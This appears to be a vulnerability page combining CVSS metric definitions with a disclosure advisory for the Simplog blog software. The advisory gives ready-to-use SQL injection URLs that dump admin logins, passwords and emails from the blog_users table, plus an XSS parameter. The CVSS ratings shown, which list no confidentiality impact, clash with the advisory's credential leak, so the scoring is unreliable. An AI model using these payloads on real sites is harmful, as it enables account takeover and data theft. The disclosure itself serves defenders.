The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.

Vendor: Simplog (http://www.simplog.org/)
Version: 0.93 and prior versions must be affected.
About: Via this methods remote attacker can inject arbitrary SQL queries to
tid parameter in preview.php,
cid,pid and eid in archive.php and pid in comments.php.As u know rgod was
published advisory about version 0.92 but he
did not notice this SQL injections. He found other SQL injections on
archive.php but did not found these vulnerabilities.
Also there is cross site scripting vulnerability in imagelist.php's imagedir
parameter.
Level: Critical

How&Example:
SQL Injection :
Needs MySQL > 4.0
GET -> http://[victim]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&cid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&pid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&eid=[SQL]
EXAMPLE ->
http://[victim]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=-1/**/UNIO
N/**/SELECT/**/
concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/
**/admin=1/*
EXAMPLE ->
http://[victim]/[simplogdir]/archive.php?blogid=1&cid=-1/**/UNION/**/SEL
ECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[victim]/[simplogdir]/archive.php?blogid=1&pid=-1/**/UNION/**/SEL
ECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[victim]/[simplogdir]/archive.php?blogid=1&eid=-1/**/UNION/**/SEL
ECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[victim]/[simplogdir]/comments.php?blogid=1&pid=-1/**/UNION/**/SE
LECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
with this examples remote attacker can leak speficied admins login
information from database.
XSS:
GET ->
http://[victim]/[simplogdir]/imagelist.php?blogid=1&act=add_entry&login=
1&imagedir=[XSS]
